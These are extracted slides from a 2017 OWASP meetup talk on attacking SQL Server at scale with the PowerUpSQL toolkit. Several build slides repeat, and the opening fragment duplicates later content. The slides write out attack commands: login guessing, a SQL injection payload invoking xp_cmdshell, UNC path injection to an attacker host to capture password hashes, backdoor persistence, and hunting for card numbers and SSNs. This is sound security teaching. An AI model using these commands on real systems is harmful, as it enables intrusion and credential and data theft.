LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 16: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
